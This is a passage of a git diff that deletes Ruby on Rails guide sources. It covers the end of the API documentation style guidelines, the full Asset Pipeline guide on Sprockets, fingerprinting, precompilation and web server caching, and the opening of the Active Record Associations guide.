-    collect { |e| e.to_param }.join '/'
-  end
-end
-</ruby>
-
-WARNING: Using a pair of +&#43;...&#43;+ for fixed-width font only works with *words*; that is: anything matching <tt>\A\w&#43;\z</tt>. For anything else  use +&lt;tt&gt;...&lt;/tt&gt;+, notably symbols, setters, inline snippets, etc:
-
-h4. Regular Font
-
-When "true" and "false" are English words rather than Ruby keywords use a regular font:
-
-<ruby>
-# If <tt>reload_plugins?</tt> is false, add this to your plugin's <tt>init.rb</tt>
-# to make it reloadable:
-#
-#   Dependencies.load_once_paths.delete lib_path
-</ruby>
-
-h3. Description Lists
-
-In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols):
-
-<ruby>
-# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>.
-</ruby>
-
-The description starts in upper case and ends with a full stop—it's standard English.
-
-h3. Dynamically Generated Methods
-
-Methods created with +(module|class)_eval(STRING)+ have a comment by their side with an instance of the generated code. That comment is 2 spaces apart from the template:
-
-<ruby>
-for severity in Severity.constants
-  class_eval <<-EOT, __FILE__, __LINE__
-    def #{severity.downcase}(message = nil, progname = nil, &block)  # def debug(message = nil, progname = nil, &block)
-      add(#{severity}, message, progname, &block)                    #   add(DEBUG, message, progname, &block)
-    end                                                              # end
-                                                                     #
-    def #{severity.downcase}?                                        # def debug?
-      #{severity} >= @level                                          #   DEBUG >= @level
-    end                                                              # end
-  EOT
-end
-</ruby>
-
-If the resulting lines are too wide, say 200 columns or more, we put the comment above the call:
-
-<ruby>
-# def self.find_by_login_and_activated(*args)
-#   options = args.extract_options!
-#   ...
-# end
-self.class_eval %{
-  def self.#{method_id}(*args)
-    options = args.extract_options!
-    ...
-  end
-}
-</ruby>
diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile
deleted file mode 100644
index 6ff5e87b6d..0000000000
--- a/railties/guides/source/asset_pipeline.textile
+++ /dev/null
@@ -1,661 +0,0 @@
-h2. Asset Pipeline
-
-This guide covers the asset pipeline introduced in Rails 3.1.
-By referring to this guide you will be able to:
-
-* Understand what the asset pipeline is and what it does
-* Properly organize your application assets
-* Understand the benefits of the asset pipeline
-* Adding a pre-processor to the pipeline
-* Package assets with a gem
-
-endprologue.
-
-h3. What is the Asset Pipeline?
-
-The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
-
-Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default.
-
-By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
-
-In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition:
-
-<ruby>
-config.assets.enabled = false
-</ruby>
-
-You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option.
-
-<plain>
-rails new appname --skip-sprockets
-</plain>
-
-It is recommended that you use the defaults for all new apps.
-
-
-h4. Main Features
-
-The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page.
-
-While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
-
-The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered.
-
-The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
-
-The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both.
-
-h4. What is Fingerprinting and Why Should I Care?
-
-Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file.
-
-When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_.
-
-The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming:
-
-<plain>
-global-908e25f4bf641868d8683022a5b62f54.css
-</plain>
-
-This is the strategy adopted by the Rails asset pipeline.
-
-Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this:
-
-<plain>
-/stylesheets/global.css?1309495796
-</plain>
-
-This has several disadvantages:
-
-<ol>
-  <li>
-    <strong>Not all caches will cache content with a query string</strong>.<br>
-    "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
-  </li>
-  <li>
-    <strong>The file name can change between nodes in multi-server environments.</strong><br>
-    The query string in Rails is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
-  </li>
-</ol>
-
-The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.
-
-Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content.
-
-Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option.
-
-More reading:
-
-* "Optimize caching":http://code.google.com/speed/page-speed/docs/caching.html
-* "Revving Filenames: don’t use querystring":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/
-
-
-h3. How to Use the Asset Pipeline
-
-In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
-
-This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served.
-
-In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server.
-
-When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller.
-
-For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+.
-
-NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
-
-h4. Asset Organization
-
-Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
-
-+app/assets+ is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
-
-+lib/assets+ is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
-
-+vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins.
-
-All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served.
-
-You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example:
-
-<ruby>
-config.assets.paths << Rails.root.join("app", "assets", "flash")
-</ruby>
-
-h4. Coding Links to Assets
-
-Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+.
-
-<erb>
-<%= stylesheet_link_tag "application" %>
-<%= javascript_include_tag "application" %>
-</erb>
-
-In regular views you can access images in the +assets/images+ directory like this:
-
-<erb>
-<%= image_tag "rails.png" %>
-</erb>
-
-Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver.
-
-Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
-
-Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines.
-
-Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
-
-<erb>
-<%= image_tag "icons/rails.png" %>
-</erb>
-
-h5. CSS and ERB
-
-If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules:
-
-<plain>
-.class { background-image: url(<%= asset_path 'image.png' %>) }
-</plain>
-
-This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
-
-If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
-
-<plain>
-#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
-</plain>
-
-This inserts a correctly-formatted data URI into the CSS source.
-
-Note that the closing tag cannot be of the style +-%>+.
-
-h5. CSS and Sass
-
-When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
-
-* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
-* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
-
-The more generic form can also be used but the asset path and class must both be specified:
-
-* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
-* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
-
-h5. JavaScript/CoffeeScript and ERB
-
-If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
-
-<erb>
-$('#logo').attr({
-  src: "<%= asset_path('logo.png') %>"
-});
-</erb>
-
-This writes the path to the particular asset being referenced.
-
-Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+):
-
-<plain>
-$('#logo').attr src: "<%= asset_path('logo.png') %>"
-</plain>
-
-h4. Manifest Files and Directives
-
-Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make.
-
-For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines:
-
-<plain>
-// ...
-//= require jquery
-//= require jquery_ujs
-//= require_tree .
-</plain>
-
-In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
-
-NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
-
-The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting).
-
-Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
-
-There's also a default +app/assets/stylesheets/application.css+ file which contains these lines:
-
-<plain>
-/* ...
-*= require_self
-*= require_tree .
-*/
-</plain>
-
-The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory.
-
-In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected.
-
-NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
-
-You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
-
-The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified:
-
-<plain>
-/* ...
-*= require reset
-*= require layout
-*= require chrome
-*/
-</plain>
-
-
-h4. Preprocessing
-
-The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
-
-When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively.
-
-Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript.
-
-Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
-
-h3. In Development
-
-In development mode assets are served as separate files in the order they are specified in the manifest file.
-
-This manifest +app/assets/javascripts/application.js+:
-
-<plain>
-//= require core
-//= require projects
-//= require tickets
-</plain>
-
-would generate this HTML:
-
-<html>
-<script src="/assets/core.js?body=1" type="text/javascript"></script>
-<script src="/assets/projects.js?body=1" type="text/javascript"></script>
-<script src="/assets/tickets.js?body=1" type="text/javascript"></script>
-</html>
-
-The +body+ param is required by Sprockets.
-
-h4. Turning Debugging off
-
-You can turn off debug mode by updating +config/environments/development.rb+ to include:
-
-<ruby>
-config.assets.debug = false
-</ruby>
-
-When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
-
-<html>
-<script src="/assets/application.js" type="text/javascript"></script>
-</html>
-
-Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
-
-If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
-
-Debug mode can also be enabled in the Rails helper methods:
-
-<erb>
-<%= stylesheet_link_tag "application", :debug => true %>
-<%= javascript_include_tag "application", :debug => true %>
-</erb>
-
-The +:debug+ option is redundant if debug mode is on.
-
-You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
-
-h3. In Production
-
-In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server.
-
-During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
-
-For example this:
-
-<erb>
-<%= javascript_include_tag "application" %>
-<%= stylesheet_link_tag "application" %>
-</erb>
-
-generates something like this:
-
-<html>
-<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script>
-<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" />
-</html>
-
-The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else).
-
-NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
-
-h4. Precompiling Assets
-
-Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
-
-Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory.
-
-You must use this task either during deployment or locally if you do not have write access to your production filesystem.
-
-The rake task is:
-
-<plain>
-bundle exec rake assets:precompile
-</plain>
-
-For faster asset precompiles, you can partially load your application by setting
-+config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates
-cannot see application objects or methods. *Heroku requires this to be false.*
-
-WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to
-test +rake assets:precompile+ locally before deploying. It may expose bugs where
-your assets reference application objects or methods, since those are still
-in scope in development mode regardless of the value of this flag.
-
-Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+:
-
-<erb>
-load 'deploy/assets'
-</erb>
-
-This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
-
-It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
-
-NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
-
-The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+:
-
-<ruby>
-[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ]
-</ruby>
-
-If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
-
-<erb>
-config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
-</erb>
-
-The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like:
-
-<plain>
----
-rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
-jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
-jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
-application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
-application.css: application-8af74128f904600e41a6e39241464e03.css
-</plain>
-
-The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
-
-This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
-
-<erb>
-config.assets.manifest = '/path/to/some/other/location'
-</erb>
-
-NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
-
-h5. Server Configuration
-
-Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
-
-For Apache:
-
-<plain>
-<LocationMatch "^/assets/.*$">
-  # Some browsers still send conditional-GET requests if there's a
-  # Last-Modified header or an ETag header even if they haven't
-  # reached the expiry date sent in the Expires header.
-  Header unset Last-Modified
-  Header unset ETag
-  FileETag None
-  # RFC says only cache for 1 year
-  ExpiresActive On
-  ExpiresDefault "access plus 1 year"
-</LocationMatch>
-</plain>
-
-For nginx:
-
-<plain>
-location ~ ^/assets/ {
-  expires 1y;
-  add_header Cache-Control public;
-
-  # Some browsers still send conditional-GET requests if there's a
-  # Last-Modified header or an ETag header even if they haven't
-  # reached the expiry date sent in the Expires header.
-  add_header Last-Modified "";
-  add_header ETag "";
-  break;
-}
-</plain>
-
-When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
-
-Nginx is able to do this automatically enabling +gzip_static+:
-
-<plain>
-location ~ ^/(assets)/  {
-  root /path/to/public;
-  gzip_static on; # to serve pre-gzipped version
-  expires max;
-  add_header Cache-Control public;
-}
-</plain>
-
-This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
-
-<plain>
-./configure --with-http_gzip_static_module
-</plain>
-
-If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
-
-Unfortunately, a robust configuration for Apache is possible but tricky, please Google around.
-
-h4. Live Compilation
-
-In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
-
-To enable this option set:
-
-<erb>
-config.assets.compile = true
-</erb>
-
-On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
-
-Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
-
-This mode uses more memory, performs poorer than the default and is not recommended.
-
-When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
-
-<plain>
-group :production do
-  gem 'therubyracer'
-end
-</plain>
-
-h3. Customizing the Pipeline
-
-h4. CSS Compression
-
-There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
-
-The following line enables YUI compression, and requires the +yui-compressor+ gem.
-
-<erb>
-config.assets.css_compressor = :yui
-</erb>
-
-The +config.assets.compress+ must be set to +true+ to enable CSS compression.
-
-h4. JavaScript Compression
-
-Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-
-The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible.
-
-The following line invokes +uglifier+ for JavaScript compression.
-
-<erb>
-config.assets.js_compressor = :uglifier
-</erb>
-
-The +config.assets.compress+ must be set to +true+ to enable JavaScript compression
-
-NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have installed a JavaScript runtime in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes.
-
-h4. Using Your Own Compressor
-
-The compressor config settings for CSS and JavaScript also take any Object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
-
-<erb>
-class Transformer
-  def compress(string)
-    do_something_returning_a_string(string)
-  end
-end
-</erb>
-
-To enable this, pass a +new+ Object to the config option in +application.rb+:
-
-<erb>
-config.assets.css_compressor = Transformer.new
-</erb>
-
-
-h4. Changing the _assets_ Path
-
-The public path that Sprockets uses by default is +/assets+.
-
-This can be changed to something else:
-
-<erb>
-config.assets.prefix = "/some_other_path"
-</erb>
-
-This is a handy option if you have any existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
-
-h4. X-Sendfile Headers
-
-The X-Sendfile header is a directive to the server to ignore the response from the application, and instead serve the file specified in the headers. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
-
-Apache and nginx support this option which is enabled in <tt>config/environments/production.rb</tt>.
-
-<erb>
-# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
-</erb>
-
-WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ (and not +application.rb+) and any other environment you define with production behavior.
-
-h3. How Caching Works
-
-Sprockets uses the default Rails cache store to cache assets in development and production.
-
-TODO: Add more about changing the default store.
-
-h3. Adding Assets to Your Gems
-
-Assets can also come from external sources in the form of gems.
-
-A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets.
-
-h3. Making Your Library or Gem a Pre-Processor
-
-TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
-
-h3. Upgrading from Old Versions of Rails
-
-There are two issues when upgrading. The first is moving the files to the new locations. See the section above for guidance on the correct locations for different file types.
-
-The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
-
-In +application.rb+:
-
-<erb>
-# Enable the asset pipeline
-config.assets.enabled = true
-
-# Version of your assets, change this if you want to expire all your assets
-config.assets.version = '1.0'
-
-# Change the path that assets are served from
-# config.assets.prefix = "/assets"
-</erb>
-
-In +development.rb+:
-
-<erb>
-# Do not compress assets
-config.assets.compress = false
-
-# Expands the lines which load the assets
-config.assets.debug = true
-</erb>
-
-And in +production.rb+:
-
-<erb>
-# Compress JavaScripts and CSS
-config.assets.compress = true
-
-# Choose the compressors to use
-# config.assets.js_compressor  = :uglifier
-# config.assets.css_compressor = :yui
-
-# Don't fallback to assets pipeline if a precompiled asset is missed
-config.assets.compile = false
-
-# Generate digests for assets URLs.
-config.assets.digest = true
-
-# Defaults to Rails.root.join("public/assets")
-# config.assets.manifest = YOUR_PATH
-
-# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
-# config.assets.precompile += %w( search.js )
-</erb>
-
-There are no changes to +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
-
-The following should also be added to +Gemfile+:
-
-<plain>
-# Gems used only for assets and not required
-# in production environments by default.
-group :assets do
-  gem 'sass-rails',   "~> 3.1.0"
-  gem 'coffee-rails', "~> 3.1.0"
-  gem 'uglifier'
-end
-</plain>
-
-If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement.
-
-<ruby>
-if defined?(Bundler)
-  # If you precompile assets before deploying to production, use this line
-  Bundler.require *Rails.groups(:assets => %w(development test))
-  # If you want your assets lazily compiled in production, use this line
-  # Bundler.require(:default, :assets, Rails.env)
-end
-</ruby>
-
-Instead of the old Rails 3.0 one
-
-<ruby>
-# If you have a Gemfile, require the gems listed there, including any gems
-# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env) if defined?(Bundler)
-</ruby>
diff --git a/railties/guides/source/association_basics.textile b/railties/guides/source/association_basics.textile
deleted file mode 100644
index 451653655f..0000000000
--- a/railties/guides/source/association_basics.textile
+++ /dev/null
@@ -1,1860 +0,0 @@
-h2. A Guide to Active Record Associations
-
-This guide covers the association features of Active Record. By referring to this guide, you will be able to:
-
-* Declare associations between Active Record models
-* Understand the various types of Active Record associations
-* Use the methods added to your models by creating associations
-
-endprologue.
-
-h3. Why Associations?
-
-Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
-
-<ruby>
-class Customer < ActiveRecord::Base
-end
-
-class Order < ActiveRecord::Base
-end
-</ruby>
-
-Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
-
-<ruby>
-@order = Order.create(:order_date => Time.now,
-  :customer_id => @customer.id)
-</ruby>
-
-Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
-
-<ruby>
-@orders = Order.where(:customer_id => @customer.id)
-@orders.each do |order|
-  order.destroy
-end
-@customer.destroy
-</ruby>
-
-With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders, :dependent => :destroy
-end
-
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-With this change, creating a new order for a particular customer is easier:
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now)
-</ruby>
-
-Deleting a customer and all of its orders is _much_ easier:
-
-<ruby>
-@customer.destroy
-</ruby>
-
-To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
-
-h3. The Types of Associations
-
-In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
-
-* +belongs_to+
-* +has_one+
-* +has_many+
-* +has_many :through+
-* +has_one :through+
-* +has_and_belongs_to_many+
-
-In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
-
-h4. The +belongs_to+ Association
-
-A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
-
-<ruby>
-class Order < ActiveRecord::Base
-  belongs_to :customer
-end
-</ruby>
-
-!images/belongs_to.png(belongs_to Association Diagram)!
-
-h4. The +has_one+ Association
-
-A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-
-<ruby>
-class Supplier < ActiveRecord::Base
-  has_one :account
-end
-</ruby>
-
-!images/has_one.png(has_one Association Diagram)!
-
-h4. The +has_many+ Association
-
